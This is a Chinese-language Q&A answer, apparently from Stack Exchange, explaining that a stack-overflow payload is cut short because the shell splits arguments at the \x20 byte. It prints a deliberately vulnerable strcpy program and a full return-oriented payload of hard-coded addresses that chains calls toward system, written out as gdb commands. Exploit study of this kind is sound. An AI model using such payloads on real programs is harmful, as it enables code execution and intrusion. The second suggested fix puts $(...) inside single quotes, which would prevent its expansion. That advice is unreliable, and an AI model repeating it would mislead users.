关于strcpy复制含空格输入后栈内容不符的技术问询
问题根源:Shell参数解析截断了你的输入
你怀疑空格被strcpy当成结束符是错的——strcpy只认\0作为终止标志,根本不会理会空格。真正的问题出在shell处理命令行参数的方式上:
当你在gdb里执行run python -c "print ..."时,shell会把python输出的内容拆分给目标程序的命令行参数。而shell默认会把空格(也就是你payload里的\x20)当成参数分隔符,这就导致:
- 空格之前的内容被作为
argv[1]传入程序 - 空格之后的内容被拆分成
argv[2]、argv[3]等其他参数 - 你的程序只把
argv[1]复制到buf里,后面的内容根本没被strcpy处理,自然不会出现在栈上
怎么验证这个问题?
给你的程序加几行代码,打印所有命令行参数和它们的长度:
#include <stdio.h> #include <string.h> #include <unistd.h> int main (int argc, char **argv) { char buf [8]; // 新增:打印所有参数 for (int i = 0; i < argc; i++) { printf("argv[%d]: '%s' (length: %zu)\n", i, argv[i], strlen(argv[i])); } strcpy(buf, argv[1]); system("/usr/bin/false"); }
重新编译后用同样的输入运行,你会清晰看到argv[1]在空格处被截断,后面的内容都变成了独立的参数。
解决办法:让shell把输出作为单一参数传递
要让shell把python输出的所有内容(包括空格、特殊字符)当成一个完整的argv[1],你需要用引号把整个输出包裹起来,或者用gdb的set args命令来传递:
- 使用gdb的
set args命令:
set args "$(python -c 'print "A"*12 + "\x10\x83\x04\x08" + "\xda\x84\x04\x08" + "\x24\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x10\x83\x04\x08" + "\xda\x84\x04\x08" + "\x25\xa0\x04\x08" + "\xd8\x80\x04\x08" + "\x10\x83\x04\x08" + "\xda\x84\x04\x08" + "\x26\xa0\x04\x08" + "\x13\x85\x04\x08" + "\x20\x83\x04\x08" + "A"*4 + "\x24\xa0\x04\x08"')"
然后执行run即可。
- 或者在
run命令里用单引号嵌套:
run '$(python -c "print \"A\"*12 + \"\x10\x83\x04\x08\" + \"\xda\x84\x04\x08\" + \"\x24\xa0\x04\x08\" + \"\x62\x81\x04\x08\" + \"\x10\x83\x04\x08\" + \"\xda\x84\x04\x08\" + \"\x25\xa0\x04\x08\" + \"\xd8\x80\x04\x08\" + \"\x10\x83\x04\x08\" + \"\xda\x84\x04\x08\" + \"\x26\xa0\x04\x08\" + \"\x13\x85\x04\x08\" + \"\x20\x83\x04\x08\" + \"A\"*4 + \"\x24\xa0\x04\x08\"")'
这样shell就不会拆分空格,整个payload会作为一个完整的参数传入程序,strcpy就能把所有内容复制到栈上了。
最后补充:你构造的小端序地址字节顺序是正确的,这个部分没有问题,完全是shell参数解析导致的截断。
内容的提问来源于stack exchange,提问作者qre0ct
相关产品推荐
相关产品推荐

